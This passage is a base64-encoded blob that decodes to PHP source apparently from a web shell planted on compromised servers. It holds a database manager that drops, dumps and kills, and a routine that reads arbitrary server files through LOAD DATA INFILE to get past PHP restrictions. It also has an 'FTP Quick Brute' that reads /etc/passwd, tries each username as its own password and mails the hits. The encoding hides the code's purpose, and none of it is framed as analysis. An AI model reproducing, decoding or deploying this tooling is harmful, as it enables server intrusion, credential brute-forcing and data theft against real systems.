Ryb3dbIk5hbWUiXS4iYCIpLiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuIng9aW1nJmltZz1zcWxfYnV0dG9uX2VtcHR5XCIgYWx0PVwiRW1wdHlcIiBoZWlnaHQ9XCIxM1wiIHdpZHRoPVwiMTFcIiBib3JkZXI9XCIwXCI+PC9hPiZuYnNwOyZuYnNwOzxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3g9cXVlcnkmc3FsX3F1ZXJ5PSIudXJsZW5jb2RlKCJEUk9QIFRBQkxFIGAiLiRyb3dbIk5hbWUiXS4iYCIpLiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuIng9aW1nJmltZz1zcWxfYnV0dG9uX2Ryb3BcIiBhbHQ9XCJEcm9wXCIgaGVpZ2h0PVwiMTNcIiB3aWR0aD1cIjExXCIgYm9yZGVyPVwiMFwiPjwvYT4mbmJzcDs8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90YmxfeD1pbnNlcnQmc3FsX3RibD0iLiRyb3dbIk5hbWUiXS4iXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJ4PWltZyZpbWc9c3FsX2J1dHRvbl9pbnNlcnRcIiBhbHQ9XCJJbnNlcnRcIiBoZWlnaHQ9XCIxM1wiIHdpZHRoPVwiMTFcIiBib3JkZXI9XCIwXCI+PC9hPiZuYnNwOzwvdGQ+IjsNCiAgICAgICBlY2hvICI8L3RyPiI7DQogICAgICAgJGkrKzsNCiAgICAgIH0NCiAgICAgIGVjaG8gIjx0ciBiZ2NvbG9yPVwiMDAwMDAwXCI+IjsNCiAgICAgIGVjaG8gIjx0ZD48Y2VudGVyPjxiPis8L2I+PC9jZW50ZXI+PC90ZD4iOw0KICAgICAgZWNobyAiPHRkPjxjZW50ZXI+PGI+Ii4kaS4iIHRhYmxlKHMpPC9iPjwvY2VudGVyPjwvdGQ+IjsNCiAgICAgIGVjaG8gIjx0ZD48Yj4iLiR0cm93cy4iPC9iPjwvdGQ+IjsNCiAgICAgIGVjaG8gIjx0ZD4iLiRyb3dbMV0uIjwvdGQ+IjsNCiAgICAgIGVjaG8gIjx0ZD4iLiRyb3dbMTBdLiI8L3RkPiI7DQogICAgICBlY2hvICI8dGQ+Ii4kcm93WzExXS4iPC90ZD4iOw0KICAgICAgZWNobyAiPHRkPjxiPiIudmlld19zaXplKCR0c2l6ZSkuIjwvYj48L3RkPiI7DQogICAgICBlY2hvICI8dGQ+PC90ZD4iOw0KICAgICAgZWNobyAiPC90cj4iOw0KICAgICAgZWNobyAiPC90YWJsZT48aHIgc2l6ZT1cIjFcIiBub3NoYWRlPjxwIGFsaWduPVwicmlnaHRcIj48aW1nIHNyYz1cIiIuJHN1cmwuIng9aW1nJmltZz1hcnJvd19sdHJcIiBib3JkZXI9XCIwXCI+PHNlbGVjdCBuYW1lPVwic3FsX3hcIj4iOw0KICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cIlwiPldpdGggc2VsZWN0ZWQ6PC9vcHRpb24+IjsNCiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJ0Ymxkcm9wXCI+RHJvcDwvb3B0aW9uPiI7DQogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwidGJsZW1wdHlcIj5FbXB0eTwvb3B0aW9uPiI7DQogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwidGJsZHVtcFwiPkR1bXA8L29wdGlvbj4iOw0KICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cInRibGNoZWNrXCI+Q2hlY2sgdGFibGU8L29wdGlvbj4iOw0KICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cInRibG9wdGltaXplXCI+T3B0aW1pemUgdGFibGU8L29wdGlvbj4iOw0KICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cInRibHJlcGFpclwiPlJlcGFpciB0YWJsZTwvb3B0aW9uPiI7DQogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwidGJsYW5hbHl6ZVwiPkFuYWx5emUgdGFibGU8L29wdGlvbj4iOw0KICAgICAgZWNobyAiPC9zZWxlY3Q+Jm5ic3A7PGlucHV0IHR5cGU9XCJzdWJtaXRcIiB2YWx1ZT1cIkNvbmZpcm1cIj48L2Zvcm0+PC9wPiI7DQogICAgICBteXNxbF9mcmVlX3Jlc3VsdCgkcmVzdWx0KTsNCiAgICAgfQ0KICAgIH0NCiAgIH0NCiAgIH0NCiAgfQ0KICBlbHNlIHsNCiAgICRhY3RzID0gYXJyYXkoIiIsIm5ld2RiIiwic2VydmVyc3RhdHVzIiwic2VydmVydmFycyIsInByb2Nlc3NlcyIsImdldGZpbGUiKTsNCiAgIGlmIChpbl9hcnJheSgkc3FsX3gsJGFjdHMpKSB7Pz48dGFibGUgYm9yZGVyPSIwIiB3aWR0aD0iMTAwJSIgaGVpZ2h0PSIxIj48dHI+PHRkIHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+PGI+Q3JlYXRlIG5ldyBEQjo8L2I+PGZvcm0gYWN0aW9uPSI8P3BocCBlY2hvICRzdXJsOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ieCIgdmFsdWU9InNxbCI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3giIHZhbHVlPSJuZXdkYiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2xvZ2luIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3Bhc3N3ZCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCk7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfc2VydmVyIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9wb3J0IiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCk7ID8+Ij48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic3FsX25ld2RiIiBzaXplPSIyMCI+Jm5ic3A7PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkNyZWF0ZSI+PC9mb3JtPjwvdGQ+PHRkIHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+PGI+VmlldyBGaWxlOjwvYj48Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ4IiB2YWx1ZT0ic3FsIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfeCIgdmFsdWU9ImdldGZpbGUiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9sb2dpbiIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9wYXNzd2QiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3NlcnZlciIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcik7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcG9ydCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpOyA/PiI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InNxbF9nZXRmaWxlIiBzaXplPSIzMCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX2dldGZpbGUpOyA/PiI+Jm5ic3A7PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkdldCI+PC9mb3JtPjwvdGQ+PHRkIHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+PC90ZD48L3RyPjx0cj48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48L3RkPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjwvdGQ+PHRkIHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+PC90ZD48L3RyPjwvdGFibGU+PD9waHAgfQ0KICAgaWYgKCFlbXB0eSgkc3FsX3gpKSB7DQogICAgZWNobyAiPGhyIHNpemU9XCIxXCIgbm9zaGFkZT4iOw0KICAgIGlmICgkc3FsX3ggPT0gIm5ld2RiIikgew0KICAgICBlY2hvICI8Yj4iOw0KICAgICBpZiAoKG15c3FsX2NyZWF0ZV9kYiAoJHNxbF9uZXdkYikpIGFuZCAoIWVtcHR5KCRzcWxfbmV3ZGIpKSkge2VjaG8gIkRCIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbmV3ZGIpLiJcIiBoYXMgYmVlbiBjcmVhdGVkIHdpdGggc3VjY2VzcyE8L2I+PGJyPiI7fQ0KICAgICBlbHNlIHtlY2hvICJDYW4ndCBjcmVhdGUgREIgXCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9uZXdkYikuIlwiLjxicj5SZWFzb246PC9iPiAiLm15c3FsX3NtYXJ0ZXJyb3IoKTt9DQogICAgfQ0KICAgIGlmICgkc3FsX3ggPT0gInNlcnZlcnN0YXR1cyIpIHsNCiAgICAgJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCJTSE9XIFNUQVRVUyIsICRzcWxfc29jayk7DQogICAgIGVjaG8gIjxjZW50ZXI+PGI+U2VydmVyLXN0YXR1cyB2YXJpYWJsZXM6PC9iPjxicj48YnI+IjsNCiAgICAgZWNobyAiPFRBQkxFIGNlbGxTcGFjaW5nPTAgY2VsbFBhZGRpbmc9MCBiZ2NvbG9yPSMwMDAwMDAgYm9yZGVyQ29sb3JMaWdodD0jMzMzMzMzIGJvcmRlcj0xPjx0ZD48Yj5OYW1lPC9iPjwvdGQ+PHRkPjxiPlZhbHVlPC9iPjwvdGQ+PC90cj4iOw0KICAgICB3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQsIE1ZU1FMX05VTSkpIHtlY2hvICI8dHI+PHRkPiIuJHJvd1swXS4iPC90ZD48dGQ+Ii4kcm93WzFdLiI8L3RkPjwvdHI+Ijt9DQogICAgIGVjaG8gIjwvdGFibGU+PC9jZW50ZXI+IjsNCiAgICAgbXlzcWxfZnJlZV9yZXN1bHQoJHJlc3VsdCk7DQogICAgfQ0KICAgIGlmICgkc3FsX3ggPT0gInNlcnZlcnZhcnMiKSB7DQogICAgICRyZXN1bHQgPSBteXNxbF9xdWVyeSgiU0hPVyBWQVJJQUJMRVMiLCAkc3FsX3NvY2spOw0KICAgICBlY2hvICI8Y2VudGVyPjxiPlNlcnZlciB2YXJpYWJsZXM6PC9iPjxicj48YnI+IjsNCiAgICAgZWNobyAiPFRBQkxFIGNlbGxTcGFjaW5nPTAgY2VsbFBhZGRpbmc9MCBiZ2NvbG9yPSMwMDAwMDAgYm9yZGVyQ29sb3JMaWdodD0jMzMzMzMzIGJvcmRlcj0xPjx0ZD48Yj5OYW1lPC9iPjwvdGQ+PHRkPjxiPlZhbHVlPC9iPjwvdGQ+PC90cj4iOw0KICAgICB3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQsIE1ZU1FMX05VTSkpIHtlY2hvICI8dHI+PHRkPiIuJHJvd1swXS4iPC90ZD48dGQ+Ii4kcm93WzFdLiI8L3RkPjwvdHI+Ijt9DQogICAgIGVjaG8gIjwvdGFibGU+IjsNCiAgICAgbXlzcWxfZnJlZV9yZXN1bHQoJHJlc3VsdCk7DQogICAgfQ0KICAgIGlmICgkc3FsX3ggPT0gInByb2Nlc3NlcyIpIHsNCiAgICAgaWYgKCFlbXB0eSgka2lsbCkpIHsNCiAgICAgICAkcXVlcnkgPSAiS0lMTCAiLiRraWxsLiI7IjsNCiAgICAgICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHF1ZXJ5LCAkc3FsX3NvY2spOw0KICAgICAgIGVjaG8gIjxiPlByb2Nlc3MgIyIuJGtpbGwuIiB3YXMga2lsbGVkLjwvYj4iOw0KICAgICB9DQogICAgICRyZXN1bHQgPSBteXNxbF9xdWVyeSgiU0hPVyBQUk9DRVNTTElTVCIsICRzcWxfc29jayk7DQogICAgIGVjaG8gIjxjZW50ZXI+PGI+UHJvY2Vzc2VzOjwvYj48YnI+PGJyPiI7DQogICAgIGVjaG8gIjxUQUJMRSBjZWxsU3BhY2luZz0wIGNlbGxQYWRkaW5nPTIgYm9yZGVyQ29sb3JMaWdodD0jMzMzMzMzIGJvcmRlcj0xPjx0ZD48Yj5JRDwvYj48L3RkPjx0ZD48Yj5VU0VSPC9iPjwvdGQ+PHRkPjxiPkhPU1Q8L2I+PC90ZD48dGQ+PGI+REI8L2I+PC90ZD48dGQ+PGI+Q09NTUFORDwvYj48L3RkPjx0ZD48Yj5USU1FPC9iPjwvdGQ+PHRkPjxiPlNUQVRFPC9iPjwvdGQ+PHRkPjxiPklORk88L2I+PC90ZD48dGQ+PGI+QWN0aW9uPC9iPjwvdGQ+PC90cj4iOw0KICAgICB3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQsIE1ZU1FMX05VTSkpIHsgZWNobyAiPHRyPjx0ZD4iLiRyb3dbMF0uIjwvdGQ+PHRkPiIuJHJvd1sxXS4iPC90ZD48dGQ+Ii4kcm93WzJdLiI8L3RkPjx0ZD4iLiRyb3dbM10uIjwvdGQ+PHRkPiIuJHJvd1s0XS4iPC90ZD48dGQ+Ii4kcm93WzVdLiI8L3RkPjx0ZD4iLiRyb3dbNl0uIjwvdGQ+PHRkPiIuJHJvd1s3XS4iPC90ZD48dGQ+PGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfeD1wcm9jZXNzZXMma2lsbD0iLiRyb3dbMF0uIlwiPjx1PktpbGw8L3U+PC9hPjwvdGQ+PC90cj4iO30NCiAgICAgZWNobyAiPC90YWJsZT4iOw0KICAgICBteXNxbF9mcmVlX3Jlc3VsdCgkcmVzdWx0KTsNCiAgICB9DQogICAgaWYgKCRzcWxfeCA9PSAiZ2V0ZmlsZSIpDQogICAgew0KICAgICAkdG1wZGIgPSAkc3FsX2xvZ2luLiJfdG1wZGIiOw0KICAgICAkc2VsZWN0ID0gbXlzcWxfc2VsZWN0X2RiKCR0bXBkYik7DQogICAgIGlmICghJHNlbGVjdCkge215c3FsX2NyZWF0ZV9kYigkdG1wZGIpOyAkc2VsZWN0ID0gbXlzcWxfc2VsZWN0X2RiKCR0bXBkYik7ICRjcmVhdGVkID0gISEkc2VsZWN0O30NCiAgICAgaWYgKCRzZWxlY3QpDQogICAgIHsNCiAgICAgICRjcmVhdGVkID0gRkFMU0U7DQogICAgICBteXNxbF9xdWVyeSgiQ1JFQVRFIFRBQkxFIGB0bXBfZmlsZWAgKCBgVmlld2luZyB0aGUgZmlsZSBpbiBzYWZlX21vZGUrb3Blbl9iYXNlZGlyYCBMT05HQkxPQiBOT1QgTlVMTCApOyIpOw0KICAgICAgbXlzcWxfcXVlcnkoIkxPQUQgREFUQSBJTkZJTEUgXCIiLmFkZHNsYXNoZXMoJHNxbF9nZXRmaWxlKS4iXCIgSU5UTyBUQUJMRSB0bXBfZmlsZSIpOw0KICAgICAgJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBGUk9NIHRtcF9maWxlOyIpOw0KICAgICAgaWYgKCEkcmVzdWx0KSB7ZWNobyAiPGI+RXJyb3IgaW4gcmVhZGluZyBmaWxlIChwZXJtaXNpb24gZGVuaWVkKSE8L2I+Ijt9DQogICAgICBlbHNlDQogICAgICB7DQogICAgICAgZm9yICgkaT0wOyRpPG15c3FsX251bV9maWVsZHMoJHJlc3VsdCk7JGkrKykgeyRuYW1lID0gbXlzcWxfZmllbGRfbmFtZSgkcmVzdWx0LCRpKTt9DQogICAgICAgJGYgPSAiIjsNCiAgICAgICB3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQsIE1ZU1FMX0FTU09DKSkgeyRmIC49IGpvaW4gKCJcclxuIiwkcm93KTt9DQogICAgICAgaWYgKGVtcHR5KCRmKSkge2VjaG8gIjxiPkZpbGUgXCIiLiRzcWxfZ2V0ZmlsZS4iXCIgZG9lcyBub3QgZXhpc3RzIG9yIGVtcHR5ITwvYj48YnI+Ijt9DQogICAgICAgZWxzZSB7ZWNobyAiPGI+RmlsZSBcIiIuJHNxbF9nZXRmaWxlLiJcIjo8L2I+PGJyPiIubmwyYnIoaHRtbHNwZWNpYWxjaGFycygkZikpLiI8YnI+Ijt9DQogICAgICAgbXlzcWxfZnJlZV9yZXN1bHQoJHJlc3VsdCk7DQogICAgICAgbXlzcWxfcXVlcnkoIkRST1AgVEFCTEUgdG1wX2ZpbGU7Iik7DQogICAgICB9DQogICAgIH0NCiAgICAgbXlzcWxfZHJvcF9kYigkdG1wZGIpOyANCiAgICB9DQogICB9DQogIH0NCn0NCmVjaG8gIjwvdGQ+PC90cj48L3RhYmxlPiI7DQppZiAoJHNxbF9zb2NrKSB7DQogICRhZmZlY3RlZCA9IEBteXNxbF9hZmZlY3RlZF9yb3dzKCRzcWxfc29jayk7DQogIGlmICgoIWlzX251bWVyaWMoJGFmZmVjdGVkKSkgb3IgKCRhZmZlY3RlZCA8IDApKXskYWZmZWN0ZWQgPSAwO30NCiAgZWNobyAiPHRyPjx0ZD48Y2VudGVyPjxiPkFmZmVjdGVkIHJvd3MgOiAiLiRhZmZlY3RlZC4iPC9jZW50ZXI+PC90ZD48L3RyPiI7DQp9DQplY2hvICI8L3RhYmxlPiI7DQp9DQppZiAoJHggPT0gImZ0cHF1aWNrYnJ1dGUiKSB7DQplY2hvICI8Y2VudGVyPjx0YWJsZT48dHI+PHRkIGNsYXNzPWJhcmhlYWRlciBjb2xzcGFuPTI+IjsNCmVjaG8gIi46IEZ0cCBRdWljayBCcnV0ZSA6LjwvdGQ+PC90cj4iOw0KZWNobyAiPHRyPjx0ZD4iOw0KaWYgKCR3aW4pIHtlY2hvICJDb3VsZG4ndCBydW4gb24gV2luZG93cyEiO30NCmVsc2Ugew0KICBmdW5jdGlvbiBjYWZ0cGJydXRlY2hlY2soJGhvc3QsJHBvcnQsJHRpbWVvdXQsJGxvZ2luLCRwYXNzLCRzaCwkZnFiX29ubHl3aXRoc2gpIHsNCiAgICBpZiAoJGZxYl9vbmx5d2l0aHNoKSB7JFRSVUUgPSAoIWluX2FycmF5KCRzaCxhcnJheSgiL2Jpbi9GQUxTRSIsIi9zYmluL25vbG9naW4iKSkpO30NCiAgICBlbHNlIHskVFJVRSA9IFRSVUU7fQ0KICAgIGlmICgkVFJVRSkgew0KICAgICAgJHNvY2sgPSBAZnRwX2Nvbm5lY3QoJGhvc3QsJHBvcnQsJHRpbWVvdXQpOw0KICAgICAgaWYgKEBmdHBfbG9naW4oJHNvY2ssJGxvZ2luLCRwYXNzKSkgew0KICAgICAgICBlY2hvICI8YSBocmVmPVwiZnRwOi8vIi4kbG9naW4uIjoiLiRwYXNzLiJAIi4kaG9zdC4iXCIgdGFyZ2V0PVwiX2JsYW5rXCI+PGI+Q29ubmVjdGVkIHRvICIuJGhvc3QuIiB3aXRoIGxvZ2luIFwiIi4kbG9naW4uIlwiIGFuZCBwYXNzd29yZCBcIiIuJHBhc3MuIlwiPC9iPjwvYT4uPGJyPiI7DQogICAgICAgIG9iX2ZsdXNoKCk7DQogICAgICAgIHJldHVybiBUUlVFOw0KICAgICAgfQ0KICAgIH0NCiAgfQ0KICBpZiAoIWVtcHR5KCRzdWJtaXQpKSB7DQogICAgaWYgKCFpc19udW1lcmljKCRmcWJfbGVuZ2h0KSkgeyRmcWJfbGVuZ2h0ID0gJG5peHB3ZHBlcnBhZ2U7fQ0KICAgICRmcCA9IGZvcGVuKCIvZXRjL3Bhc3N3ZCIsInIiKTsNCiAgICBpZiAoISRmcCkge2VjaG8gIkNhbid0IGdldCAvZXRjL3Bhc3N3ZCBmb3IgcGFzc3dvcmQtbGlzdC4iO30NCiAgICBlbHNlIHsNCiAgICAgIGlmICgkZnFiX2xvZ2dpbmcpIHsNCiAgICAgICAgaWYgKCRmcWJfbG9nZmlsZSkgeyRmcWJfbG9nZnAgPSBmb3BlbigkZnFiX2xvZ2ZpbGUsInciKTt9DQogICAgICAgIGVsc2UgeyRmcWJfbG9nZnAgPSBGQUxTRTt9DQogICAgICAgICRmcWJfbG9nID0gIkZUUCBRdWljayBCcnV0ZSAoIi4kc2hfbmFtZS4iKSBzdGFydGVkIGF0ICIuZGF0ZSgiZC5tLlkgSDppOnMiKS4iXHJcblxyXG4iOw0KICAgICAgICBpZiAoJGZxYl9sb2dmaWxlKSB7ZndyaXRlKCRmcWJfbG9nZnAsJGZxYl9sb2csc3RybGVuKCRmcWJfbG9nKSk7fQ0KICAgICAgfQ0KICAgICAgb2JfZmx1c2goKTsNCiAgICAgICRpID0gJHN1Y2Nlc3MgPSAwOw0KICAgICAgJGZ0cHF1aWNrX3N0ID0gZ2V0bWljcm90aW1lKCk7DQogICAgICB3aGlsZSghZmVvZigkZnApKSB7DQogICAgICAgICRzdHIgPSBleHBsb2RlKCI6IixmZ2V0cygkZnAsMjA0OCkpOw0KICAgICAgICBpZiAoY2FmdHBicnV0ZWNoZWNrKCJsb2NhbGhvc3QiLDIxLDEsJHN0clswXSwkc3RyWzBdLCRzdHJbNl0sJGZxYl9vbmx5d2l0aHNoKSkgew0KICAgICAgICAgIGVjaG8gIjxiPkNvbm5lY3RlZCB0byAiLmdldGVudigiU0VSVkVSX05BTUUiKS4iIHdpdGggbG9naW4gXCIiLiRzdHJbMF0uIlwiIGFuZCBwYXNzd29yZCBcIiIuJHN0clswXS4iXCI8L2I+PGJyPiI7DQogICAgICAgICAgJGZxYl9sb2cgLj0gIkNvbm5lY3RlZCB0byAiLmdldGVudigiU0VSVkVSX05BTUUiKS4iIHdpdGggbG9naW4gXCIiLiRzdHJbMF0uIlwiIGFuZCBwYXNzd29yZCBcIiIuJHN0clswXS4iXCIsIGF0ICIuZGF0ZSgiZC5tLlkgSDppOnMiKS4iXHJcbiI7DQogICAgICAgICAgaWYgKCRmcWJfbG9nZnApIHtmc2VlaygkZnFiX2xvZ2ZwLDApOyBmd3JpdGUoJGZxYl9sb2dmcCwkZnFiX2xvZyxzdHJsZW4oJGZxYl9sb2cpKTt9DQogICAgICAgICAgJHN1Y2Nlc3MrKzsNCiAgICAgICAgICBvYl9mbHVzaCgpOw0KICAgICAgICB9DQogICAgICAgIGlmICgkaSA+ICRmcWJfbGVuZ2h0KSB7YnJlYWs7fQ0KICAgICAgICAkaSsrOw0KICAgICAgfQ0KICAgICAgaWYgKCRzdWNjZXNzID09IDApIHtlY2hvICJObyBzdWNjZXNzLiBjb25uZWN0aW9ucyEiOyAkZnFiX2xvZyAuPSAiTm8gc3VjY2Vzcy4gY29ubmVjdGlvbnMhXHJcbiI7fQ0KICAgICAgJGZ0cHF1aWNrX3QgPSByb3VuZChnZXRtaWNyb3RpbWUoKS0kZnRwcXVpY2tfc3QsNCk7DQogICAgICBlY2hvICI8aHIgc2l6ZT1cIjFcIiBub3NoYWRlPjxiPkRvbmUhPC9iPjxicj5Ub3RhbCB0aW1lIChzZWNzLik6ICIuJGZ0cHF1aWNrX3QuIjxicj5Ub3RhbCBjb25uZWN0aW9uczogIi4kaS4iPGJyPlN1Y2Nlc3MuOiA8Zm9udCBjb2xvcj1ncmVlbj48Yj4iLiRzdWNjZXNzLiI8L2I+PC9mb250Pjxicj5VbnN1Y2Nlc3MuOiIuKCRpLSRzdWNjZXNzKS4iPC9iPjxicj5Db25uZWN0cyBwZXIgc2Vjb25kOiAiLnJvdW5kKCRpLyRmdHBxdWlja190LDIpLiI8YnI+IjsNCiAgICAgICRmcWJfbG9nIC49ICJcclxuLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXHJcbkRvbmUhXHJcblRvdGFsIHRpbWUgKHNlY3MuKTogIi4kZnRwcXVpY2tfdC4iXHJcblRvdGFsIGNvbm5lY3Rpb25zOiAiLiRpLiJcclxuU3VjY2Vzcy46ICIuJHN1Y2Nlc3MuIlxyXG5VbnN1Y2Nlc3MuOiIuKCRpLSRzdWNjZXNzKS4iXHJcbkNvbm5lY3RzIHBlciBzZWNvbmQ6ICIucm91bmQoJGkvJGZ0cHF1aWNrX3QsMikuIlxyXG4iOw0KICAgICAgaWYgKCRmcWJfbG9nZnApIHtmc2VlaygkZnFiX2xvZ2ZwLDApOyBmd3JpdGUoJGZxYl9sb2dmcCwkZnFiX2xvZyxzdHJsZW4oJGZxYl9sb2cpKTt9DQogICAgICBpZiAoJGZxYl9sb2dlbWFpbCkge0BtYWlsKCRmcWJfbG9nZW1haWwsIiIuJHNoX25hbWUuIiByZXBvcnQiLCRmcWJfbG9nKTt9DQogICAgICBmY2xvc2UoJGZxYl9sb2dmcCk7DQogICAgfQ0KICB9DQogIGVsc2Ugew0KICAgICRsb2dmaWxlID0gJHRtcGRpcl9sb2dzLiJjYV9mdHBxdWlja2JydXRlXyIuZGF0ZSgiZC5tLllfSF9pX3MiKS4iLmxvZyI7DQogICAgJGxvZ2ZpbGUgPSBzdHJfcmVwbGFjZSgiLy8iLERJUkVDVE9SWV9TRVBBUkFUT1IsJGxvZ2ZpbGUpOw0KICAgIGVjaG8gIjxmb3JtIGFjdGlvbj1cIiIuJHN1cmwuIlwiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXggdmFsdWU9XCJmdHBxdWlja2JydXRlXCI+Ii4NCiAgICAgICAgICJSZWFkIGZpcnN0OjwvdGQ+PHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1cImZxYl9sZW5naHRcIiB2YWx1ZT1cIiIuJG5peHB3ZHBlcnBhZ2UuIlwiPjwvdGQ+PC90cj4iLg0KICAgICAgICAgIjx0cj48dGQ+PC90ZD48dGQ+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJmcWJfb25seXdpdGhzaFwiIHZhbHVlPVwiMVwiPiBVc2VycyBvbmx5IHdpdGggc2hlbGw8L3RkPjwvdHI+Ii4NCiAgICAgICAgICI8dHI+PHRkPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwiZnFiX2xvZ2dpbmdcIiB2YWx1ZT1cIjFcIiBjaGVja2VkPkxvZ2dpbmc8L3RkPjwvdHI+Ii4NCiAgICAgICAgICI8dHI+PHRkPkxvZ2dpbmcgdG8gZmlsZTo8L3RkPjx0ZD48aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwiZnFiX2xvZ2ZpbGVcIiB2YWx1ZT1cIiIuJGxvZ2ZpbGUuIlwiIHNpemU9XCIiLihzdHJsZW4oJGxvZ2ZpbGUpKzIqKHN0cmxlbigkbG9nZmlsZSkvMTApKS4iXCI+PC90ZD48L3RyPiIuDQogICAgICAgICAiPHRyPjx0ZD5Mb2dnaW5nIHRvIGUtbWFpbDo8L3RkPjx0ZD48aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwiZnFiX2xvZ2VtYWlsXCIgdmFsdWU9XCIiLiRsb2dfZW1haWwuIlwiIHNpemU9XCIiLihzdHJsZW4oJGxvZ2VtYWlsKSsyKihzdHJsZW4oJGxvZ2VtYWlsKS8xMCkpLiJcIj48L3RkPjwvdHI+Ii4NCiAgICAgICAgICI8dHI+PHRkIGNvbHNwYW49Mj48aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1zdWJtaXQgdmFsdWU9XCJCcnV0ZVwiPjwvZm9ybT4iOw0KICB9DQogIGVjaG8gIjwvdGQ+PC90cj48L3RhYmxlPjwvY2VudGVyPiI7DQp9DQp9DQppZiAoJHggPT0gImQiKSB7DQppZiAoIWlzX2RpcigkZCkpIHsgZWNobyAiPGNlbnRlcj48Yj4kZCBpcyBhIG5vdCBhIERpcmVjdG9yeSE8L2I+PC9jZW50ZXI+IjsgfQ0KZWxzZSB7DQogIGVjaG8gIjxiPkRpcmVjdG9yeSBpbmZvcm1hdGlvbjo8L2I+PHRhYmxlIGJvcmRlcj0wIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9Mj4iOw0KICBpZiAoISR3aW4pIHsNCiAgIGVjaG8gIjx0cj48dGQ+PGI+T3duZXIvR3JvdXA8L2I+PC90ZD48dGQ+ICI7DQogICAkb3cgPSBwb3NpeF9nZXRwd3VpZChmaWxlb3duZXIoJGQpKTsNCiAgICRnciA9IHBvc2l4X2dldGdyZ2lkKGZpbGVncm91cCgkZCkpOw0KICAgJHJvd1tdID0gKCRvd1sibmFtZSJdPyRvd1sibmFtZSJdOmZpbGVvd25lcigkZCkpLiIvIi4oJGdyWyJuYW1lIl0/JGdyWyJuYW1lIl06ZmlsZWdyb3VwKCRkKSk7DQogIH0NCiAgZWNobyAiPHRyPjx0ZD48Yj5QZXJtczwvYj48L3RkPjx0ZD48YSBocmVmPVwiIi4kc3VybC4ieD1jaG1vZCZk